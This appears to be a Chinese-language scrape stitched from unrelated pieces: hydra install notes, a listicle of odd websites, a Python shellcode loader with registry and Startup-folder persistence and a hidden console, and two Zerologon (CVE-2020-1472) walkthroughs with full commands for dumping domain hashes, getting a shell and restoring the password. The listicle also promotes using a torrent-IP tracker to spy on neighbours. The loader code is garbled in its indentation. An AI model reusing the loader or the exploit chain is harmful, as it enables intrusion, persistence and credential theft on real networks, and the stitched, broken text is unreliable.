https://github.com/vanhauser-thc/thc-hydra
https://github.com/vanhauser-thc/thc-hydra/releases

1.安装hydra

依赖包:

apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libmemcached-dev libgpg-error-dev libgcrypt11-dev libgcrypt20-dev

wget https://github.com/vanhauser-thc/thc-hydra/archive/v9.1.tar.gz --no-check-certificate

tar zxf v9.1.tar.gz

cd thc-hydra-9.1

./configure

make

make install

hydra –v(验证安装是否成功)

2.联动Nessus

ln -s /usr/local/bin/hydra /usr/bin/hydra

service nessusd stop

/opt/nessus/sbin/nessusd -R

service nessusd start

国庆宅在家里,大概除了上网还是上网了。

最近扩展迷在后台收到了不少咨询,有小伙伴提到,似乎我们已经很久没有给大家推荐网站了。

今天,扩展迷就来给大家推荐一波比较小众,但非常有意思的神奇网站,相信一定有你喜欢的。

★100000 Stars

http://stars.chromeexperiments.com/

带你遨游星际,理工科独有的浪漫。

谷歌推出的Chrome实验项目“十万颗星星”,为普通人提供了银河系漫游的机会,从各个角度欣赏壮观的银河。

全三维的高清交互式体验,使人们能够近距离地观察星星。

1.gif

单击任意一颗星球,可以查看它的详细介绍,拖动鼠标就能360°旋转。

时常仰望浩瀚宇宙,意识到自己的渺小,或许能让你对人生有一个全新的认知。

2.gif

Perseid meteor shower

https://www.meteorshowers.org/

跟上一个网站差不多,以可视化互动的方式来观察流行雨的形成以及运行轨道。

网站数据由NASA埃姆斯研究中心提供,点进去就可以从太空视角观赏流星雨了,非常美。

3.gif

凶宅集

http://www.xiongzhaiji.com/index.html

逛完了太空,来看点阴间的东西。

所谓凶宅,也就是曾经有人横死的房子,横死即非自然死亡,譬如意外,自杀,他杀等等。

这样的房子,穷人买不起,富人不敢买,人人敬而远之。

但是近年来,随着线上交易的盛行和房价的持续走高,凶宅拍卖也成了大家热议的话题。

4.png

凶宅集,应该是国内首个凶宅综合信息平台,由V2EX论坛大神于2018年推出。

截止目前,上面已经收录了12个城市的6000余条凶宅信息,包括新闻资讯和坊间故事。

大神表示,开发这个平台,是为倡导明示凶宅信息,公平合理交易。

5.png

如果你觉得凶宅集上的故事不够过瘾,那么还可以看一看“香港最齐凶宅资料库”。

该网站号称提供全方位服务的房地产公司,所以你可以在此页面查找从1977年至今香港所有区域的凶宅信息。

https://www.squarefoot.com.hk/sc/房产指南/凶宅/全部/

6.png

死囚遗言

https://www.tdcj.texas.gov/death_row/dr_executed_offenders.html

死囚在被执行死刑之前,真的忏悔了吗?

美国德克萨斯州刑事司法部的官方网站上,有一个专门为死囚建立的公开数据库,任何人都可以在浏览被执刑人(已被处决囚犯)的具体信息。

7.png

数据库收录了从1982年至今在该司法部被执行死刑的500多名囚犯,记录着他们的编号、真实姓名、身高体重、所犯刑事案件等。

这些死囚的罪状不一,比如抢劫盗窃、帮派斗争、宗教活动......

8.png

看了他们的案例,或许大家才能更直观地了解这些人穷凶极恶的程度。

比如上图中的Ochoa,就在2002年枪杀了自己的妻子、两个女儿(分别为7岁和9个月)、岳父、妻子的妹妹。

9.png

重点是,这个数据库还记录了他们在被执行死刑前的最后遗言。

然而从大部分遗言来看,他们多是在表达对兄弟朋友和上帝的爱,却很少对自己的行为表达忏悔和歉意。

所以,人之初,到底是性本善还是性本恶呢?

10.png

AI在线人脸识别女优

xslist.org/zh

有时候,无意中对网友分享的一张gif动图或者视频截图一见钟情,却苦于找不到番号,该怎么办呢?

这个网站,可以帮助你在线利用AI智能人脸识别女优,如果你看到一部佳片却不知道女主角是谁,那么这个网站也可以成为你的必备神器。

而且,它还会提供这些女优的作品番号,你懂的。

11.png

IKnowWhatYouDownload

https://iknowwhatyoudownload.com/

一个通过DHT网络查询指定IP下载过哪些种子资源的网站。

简而言之,这个网站可以利用磁力链接下载文件留下的痕迹,追踪你以及你附近IP下载过的内容。

看看邻居、室友最近都在看些啥类型的爱情动作片吧,说不定会有惊喜发现。

12.png

此外,这个网站还能够统计全世界人民下载什么类型磁力最多,当然,全世界人民下载得最多的莫过于——小黄片了。

13.png

小霸王模拟器

https://www.yikm.net/

不知道你有没有做过这种梦,梦里回到小时候,在电视机前和小伙伴抢着玩小霸王。

去年,国内一名开发者自己搞了个小霸王模拟器,提供了许多经典游戏供玩家体验。

14.png

基本上你有印象的经典游戏,在这里都能玩到。

最耳熟能详的魂斗罗、冒险岛、忍者神龟、坦克大战......美版、日版等多个版本全都收录其中,非常全面。

15.png

最有趣的是,游戏界面也是一台模拟的街机,玩家可以通过下方的菜单栏调整按键操作、全屏、保存进度等等。

当然,想开金手指,想跟小伙伴联机,也是可以的。

现在做小霸王游戏的并不少,但玩了一圈下来,很少有像这个模拟器这样充满情怀又精致的了。

16.png

王者荣耀排名生成器

https://cc.bjadjty.com//cx3/2498

想装X,就用它。

有了王者荣耀排名生成器,全服第一不是梦。

此外,该网站还有很多其他的生成器,比如支付宝余额、微信钱包余额、结婚证等等,大家可自行体验。

17.png

Nooooooooooooooo

http://nooooooooooooooo.com/

生活中,我们总是会面临一些让人难以拒绝的要求。

“想找你借点钱,可以吗?”“不借。”

碍于人际关系、面子等原因,有时我们内心再抗拒,嘴上也很难说出口,哪怕仅仅是一个单词。

Nooooooooooooooo这个网站,旨在帮助人们喊出内心的真实想法。

18.png

打开网站,按下蓝色按钮,就可以听到一声饱含愤怒的“No!!”

19.png

你可以说这个网站很沙雕,但说不定哪天就派上用场了呢?

看样本,这个生成出来的要被防护软件拦吧。

# -*- coding:utf-8 -*-
from ctypes import *

import ctypes
import re
import struct
import string
import binascii
import win32con
import win32api
import os
import sys
import pythoncom
import win32com.client as client
import hashlib
import time

def createShortCut(filename):  # 目前创建的无起始位置 - No starting position currently created
"""filename should be abspath, or there will be some strange errors"""
try:
    # 设置快捷方式的起始位置,此处设置为windows启动目录 - Set the starting position of the shortcut, here is set to the windows startup directory
    working_directory = os.getenv(
        'USERPROFILE') + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\\'
    # 创建快捷方式的目标绝对路径 - The absolute path of the target to create the shortcut
    lnkname = working_directory + filename + '.lnk'
    # 要创建快捷方式的文件的绝对路径,此处是获取当前路径 - The absolute path of the file to create the shortcut, here is the current path
    filename = os.path.dirname(os.path.realpath(sys.argv[0])) + '\\' + filename
    shortcut = client.Dispatch("WScript.Shell").CreateShortCut(lnkname)
    shortcut.TargetPath = filename
    shortcut.save()
    print('配置开机自启') # Configure auto start
    except Exception as e:
    print(e.args)

   def set_shortcut(filename):  # 如无需特别设置图标,则可去掉iconname参数 - If you don’t need to set the icon, you can remove the iconname parameter
print(filename)
try:
    from win32com.shell import shell
    from win32com.shell import shellcon
    iconname = ""
    # 设置快捷方式的起始位置,此处设置为windows启动目录 - Set the starting position of the shortcut, here is set to the windows startup directory
    working_directory = os.getenv(
        'USERPROFILE') + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\\'
    # 创建快捷方式的目标绝对路径 - The absolute path of the target to create the shortcut
    lnkname = working_directory + filename + '.lnk'
    print(lnkname)    
    # 要创建快捷方式的文件的绝对路径,此处是获取当前路径 - The absolute path of the file to create the shortcut, here is the current path
    #filename = os.path.dirname(os.path.realpath(sys.argv[0])) + '\\' + filename
    shortcut = pythoncom.CoCreateInstance(
        shell.CLSID_ShellLink, None,
        pythoncom.CLSCTX_INPROC_SERVER, shell.IID_IShellLink)
    #shortcut.SetPath(filename)
    shortcut.SetPath(sys.argv[0])
    # 设置快捷方式的起始位置, 不然会出现找不到辅助文件的情况 - Set the starting position of the shortcut, otherwise the auxiliary file will not be found
    shortcut.SetWorkingDirectory(working_directory)
    # 可有可无,没有就默认使用文件本身的图标 - Optional, if not, use the icon of the file itself by default
    shortcut.SetIconLocation(iconname, 0)
    if os.path.splitext(lnkname)[-1] != '.lnk':
        lnkname += ".lnk"
    shortcut.QueryInterface(pythoncom.IID_IPersistFile).Save(lnkname, 0)

    return True
except Exception as e:
    print(e.args)
    return False

  def addfile2autorun(name):
  try:
    runpath = "Software\Microsoft\Windows\CurrentVersion\Run"
    hKey = win32api.RegOpenKeyEx(win32con.HKEY_LOCAL_MACHINE, runpath, 0, win32con.KEY_SET_VALUE)
    win32api.RegSetValueEx(hKey, name, 0, win32con.REG_SZ, sys.argv[0])
    win32api.RegCloseKey(hKey)
  except Exception as e:
  pass
 def executable_code(buffer):
buf = c_char_p(buffer)
size = len(buffer)
addr = libc.valloc(size)
addr = c_void_p(addr)
if 0 == addr: 
    raise Exception("Failed to allocate memory")
memmove(addr, buf, size)
if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):
    raise Exception("Failed to set protection on buffer")
return addr

def main():

buf =  b""
buf += b"\x4d\x5a\xe8\x00\x00\x00\x00\x5b\x52\x45\x55\x89\xe5"
buf += b"\x81\xc3\x93\x45\x00\x00\xff\xd3\x81\xc3\x66\x62\x02"
buf += b"\x00\x53\x6a\x04\x50\xff\xd0\x00\x00\x00\x00\x00\x00"
buf += b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
buf += b"\x00\x00\x00\x00\x00\x00\x00\x00\xf8\x00\x00\x00\x0e"
buf += b"\x1f\xba\x0e\x00\xb4\x09\xcd\x21\xb8\x01\x4c\xcd\x21"
buf += b"\x54\x68\x69\x73\x20\x70\x72\x6f\x67\x72\x61\x6d\x20"
buf += b"\x63\x61\x6e\x6e\x6f\x74\x20\x62\x65\x20\x72\x75\x6e"
buf += b"\x20\x69\x6e\x20\x44\x4f\x53\x20\x6d\x6f\x64\x65\x2e"
buf += b"\x0d\x0d\x0a\x24\x00\x00\x00\x00\x00\x00\x00\x49\x9c"
buf += b"\x6e\x3a\x0d\xfd\x00\x69\x0d\xfd\x00\x69\x0d\xfd\x00"
buf += b"\x69\x4b\xac\xe1\x69\x29\xfd\x00\x69\x4b\xac\xdf\x69"
buf += b"\x1a\xfd\x00\x69\x4b\xac\xe0\x69\x8e\xfd\x00\x69\x0d"
buf += b"\xfd\x01\x69\xce\xfd\x00\x69\x04\x85\x93\x69\x1c\xfd"
buf += b"\x00\x69\x04\x85\x83\x69\x0c\xfd\x00\x69\x00\xaf\xe0"
buf += b"\x69\x17\xfd\x00\x69\x00\xaf\xdc\x69\x0c\xfd\x00\x69"
buf += b"\x00\xaf\xde\x69\x0c\xfd\x00\x69\x52\x69\x63\x68\x0d"
buf += b"\xfd\x00\x69\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
buf += b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
buf += b"\x00\x50\x45\x00\x00\x4c\x01\x04\x00\x3c\x97\x52\x5f"
buf += b"\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x02\x21\x0b"
buf += b"\x01\x0c\x00\x00\xf6\x01\x00\x00\xe6\x00\x00\x00\x00"
buf += b"\x00\x00\xaa\x38\x01\x00\x00\x10\x00\x00\x00\x10\x02"


bufmd5 = get_md5_value(buf)  
set_shortcut("windows.dll-" + bufmd5)
addfile2autorun("windows.dll-" + bufmd5)

#libc = CDLL('libc.so.6')

PROT_READ = 1
PROT_WRITE = 2
PROT_EXEC = 4

VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
VirtualProtect = ctypes.windll.kernel32.VirtualProtect
shellcode = bytearray(buf)
whnd = ctypes.windll.kernel32.GetConsoleWindow()   
if whnd != 0:
       if 6669999999999999999999999999999999999==6669999999999999999999999999999999999:
              ctypes.windll.user32.ShowWindow(whnd, 0)   
              ctypes.windll.kernel32.CloseHandle(whnd)
print ".................................."*666
memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
old = ctypes.c_long(1)
VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()
#进程不能退出 - Process cannot exit
while True:
    time.sleep(1)

def get_md5_value(src):
myMd5 = hashlib.md5()
myMd5.update(src)
myMd5_Digest = myMd5.hexdigest()
return myMd5_Digest

if __name__ == '__main__':
main()

环境

1.攻击机 windows 10
2.域控服务器 windows server 2012 192.168.139.147
3.python 3.8
4.复现工具,大概看了下,工具基本都差不多,这个帮助写的比较详细(但是楼主在复现过程中,还是遇到许多坑),https://github.com/VoidSec/CVE-2020-1472

复现流程

1.检测是否可利用
2.将域控密码设置为空
3.恢复原来的域控密码

坑点

1.要用最新版的Impacket v0.9.22.dev1+20200915.160006.1397e2b5
2.linux下执行脚本在出现$之类的特殊字符需要转义,我在window下执行,没遇到这个问题
3.域和计算机名搞混淆,导致参数填写错误,哪个是域,哪个是计算机名,看下图

1.png

4.显示颜色乱码的话,在脚本开头处添加:

import os
os.system("")

关于坑点1:
在windows中有python启动器,py -3指定使用python3,防止选错python版本

安装impacket这步,手动安装,并且把requirements.txt中的impacket==0.9.21这行去掉,不然执行py -3 pip install -r requirements.txt安装其他库时,impacket又装一遍,会覆盖掉最新版

安装过程:
先卸载旧版本:
py -3 -m pip uninstall impacket

安装新版本:
git clone https://github.com/SecureAuthCorp/impacket
cd impacket
py -3 setup.py install

报错说明


1.AttributeError: module 'impacket.dcerpc.v5.nrpc' has no attribute 'NetrServerPasswordSet2',属于坑点1,手动安装impacket解决
2.secretsdump.py执行后无法获取NTDS.DIT信息,多半是域和计算机名混淆或者出现$未转义,对照坑点3的图片,确认下
3.[-] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)多半是域和计算机名混淆或者出现$未转义,对照坑点3的图片,确认下,自己环境中对应的参数填写正确没。

检测和利用

关于坑点3,这一步要输入计算机名

py -3 cve-2020-1472-exploit.py -n 2k12vitcim -t 192.168.139.147

参数:

-n  计算机名
-t  域控ip

获取管理员ntlm hash

secretsdump.py -no-pass -just-dc [email protected]

参数:

-no-pass    无密码登录
-just-dc    仅提取NTDS.DIT​​数据(NTLM哈希和Kerberos键)
[email protected] 计算机名[email protected]域控ip

正常的输出:

Impacket v0.9.22.dev1+20200915.160006.1397e2b5 - Copyright 2020 SecureAuth Corporation

<li> Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
<li> Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3c39341d869ebba9f4d09b58adf16868:::
此处省略
<li> Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:73ecb6feb447b5c734f1b6819b7dea3d91165f6d1c6fefc9169208c8548bfeaa
此处省略
<li> Cleaning up...

获取域控shell和导出域控计算机帐户的原始NT哈希

执行以下命令,获取域控的shell:

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:3c39341d869ebba9f4d09b58adf16868 2k12test.com/[email protected]

参数:

-hashes 域管理员的nthash:lmhash
2k12test.com/[email protected]  域/域管理员账户名@域控ip

然后在获取到的shell中执行以下命令,导出域控计算机帐户的注册表文件

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

get system.save
get sam.save
get security.save

del /f system.save
del /f sam.save
del /f security.save

执行以下命令,在本地获取域控计算机帐户的原始NT哈希:

secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

正常的输出:

Impacket v0.9.22.dev1+20200915.160006.1397e2b5 - Copyright 2020 SecureAuth Corporation

<li> Target system bootKey: 0xb1a104ff3738f1a53c78e57a6662ea84
<li> Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3c39341d869ebba9f4d09b58adf16868:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
<li> Dumping cached domain logon information (domain/username:hash)
<li> Dumping LSA Secrets
<li> $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:e0bf26bbac26ad8eb7d529565a8d3497059197aef079318a68c94f05376dda655ceafa4c385630ad0a99067f7e80cea795eb42e7043d57942cb4d131c4a4cd95cfd3e245180f72c887ad5bddaddea4b778a536ccaf75152cfc2efedbd09b74fa77766c5258fb01eeb43574e5aa1a4572b79a6d54c7ccf212543cc4e31def988ac32f0a6b1185b85150bc6ff1a074864d5808c23f4afc05c08da37d89591c7711d4246639c35e780a006c967424b5373adf2559af2196ee0dcfed57fadf5d59603fbb193382decccdde1ff3e1edd2691c04d618f4c72ac9b579c54df2c53378ec5df50ec766b1dcbe87566af365eb2ba1
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:8a8fea4a70166fae078958bf69441290
<li> DPAPI_SYSTEM
dpapi_machinekey:0x6750d5c297f09dcbc8c595d3b578d1e6bcf99fd2
dpapi_userkey:0x7f509a6c59339522545664b4db73d393d15bd2e3
<li> NL$KM
0000   58 98 99 4F 48 70 C3 24  65 38 D0 73 05 8A 4F BA   X..OHp.$e8.s..O.
0010   F7 AD DC 33 DA E2 D3 2F  B7 4A 72 D6 C7 55 8A 90   ...3.../.Jr..U..
0020   59 52 74 40 99 77 FA D6  BF 4C 5A B7 A4 8B 43 DE   [email protected]
0030   E8 39 6F BA 39 D3 C6 DF  E4 3C 73 98 1E 23 DC 09   .9o.9....<s..#..
NL$KM:5898994f4870c3246538d073058a4fbaf7addc33dae2d32fb74a72d6c7558a90595274409977fad6bf4c5ab7a48b43dee8396fba39d3c6dfe43c73981e23dc09
<li> Cleaning up...

恢复原来的域控hash

使用上一步中,$MACHINE.ACC:plain_password_hex:后面的值作为参数,执行:

py -3 reinstall_original_pw.py 2k12vitcim 192.168.139.147 e0bf26bbac26ad8eb7d529565a8d3497059197aef079318a68c94f05376dda655ceafa4c385630ad0a99067f7e80cea795eb42e7043d57942cb4d131c4a4cd95cfd3e245180f72c887ad5bddaddea4b778a536ccaf75152cfc2efedbd09b74fa77766c5258fb01eeb43574e5aa1a4572b79a6d54c7ccf212543cc4e31def988ac32f0a6b1185b85150bc6ff1a074864d5808c23f4afc05c08da37d89591c7711d4246639c35e780a006c967424b5373adf2559af2196ee0dcfed57fadf5d59603fbb193382decccdde1ff3e1edd2691c04d618f4c72ac9b579c54df2c53378ec5df50ec766b1dcbe87566af365eb2ba1

正常的输出:

reinstall_original_pw.py 2k12vitcim 192.168.139.147 e0bf26bbac26ad8eb7d529565a8d3497059197aef079318a68c94f05376dda655ceafa4c385630ad0a99067f7e80cea795eb42e7043d57942cb4d131c4a4cd95cfd3e245180f72c887ad5bddaddea4b778a536ccaf75152cfc2efedbd09b74fa77766c5258fb01eeb43574e5aa1a4572b79a6d54c7ccf212543cc4e31def988ac32f0a6b1185b85150bc6ff1a074864d5808c23f4afc05c08da37d89591c7711d4246639c35e780a006c967424b5373adf2559af2196ee0dcfed57fadf5d59603fbb193382decccdde1ff3e1edd2691c04d618f4c72ac9b579c54df2c53378ec5df50ec766b1dcbe87566af365eb2ba1
Performing authentication attempts...

======================================================================================================================================================================================================================================================================================================================================

NetrServerAuthenticate3Response
ServerCredential:
Data: b'xdexcfAaQ3x1a*'
NegotiateFlags: 556793855
AccountRid: 1002
ErrorCode: 0

server challenge b'xdeax10x90x15qxc3t'
session key b'Usxb2xd9#x8cx132x98Zv,xb6xb5S^'
NetrServerPasswordSetResponse
ReturnAuthenticator:
Credential:
Data: b'x01x14xd2xd0x11xb9x02xc4'
Timestamp: 0
ErrorCode: 0

Success! DC machine account should be restored to it's original value. You might want to secretsdump again to check.

攻击机:kali2020
受害者:windows2008
poc:https://github.com/SecuraBV/CVE-2020-1472
exp:https://github.com/dirkjanm/CVE-2020-1472

1.本地搭建一个域环境

1.PNG

2.PNG

2.使用poc验证
既然提示安装东西,那就 pip install -r requirements.txt,之后再执行 python3 zerologon_tester.py <主机名> <ip>

3.PNG

3.使用exp攻击,但是这个时候很多人的脚本回报错,是因为缺少 impacket,https://github.com/SecureAuthCorp/impacket,python3 setup.py install //安装impacket,然后执行exp
python3 cve-2020-1472-exploit.py owa 192.168.137.137

4.PNG

4.使用impacket的secretsdump.py导出域控制上的hash
python3 secretsdump.py god.org/owa$@192.168.137.137 -no-pass

5.PNG

5.利用获取到的管理员hash来远程操作域控服务器
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13cf6cfe1f2fc41cd286c7c8caec978b god.org/[email protected]

6.PNG

7.PNG

6.获取管理员hash,远程连接导出sam数据库中的原来的计算机hash

8.PNG

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

9.PNG

7.恢复计算机的hash
下载脚本 https://github.com/risksense/zerologon
python3 reinstall_original_pw.py owa 192.168.137.137 ad611ebf4fd2de9448a33ba693b212f4 //注意hash的部分,只有后半部分

10.PNG

8.恢复计算机的hash
使用impacket的脚本来登录域控来验证hash
使用7步骤的脚本回复hash前

11.PNG

使用7步骤脚本恢复hash后

12.PNG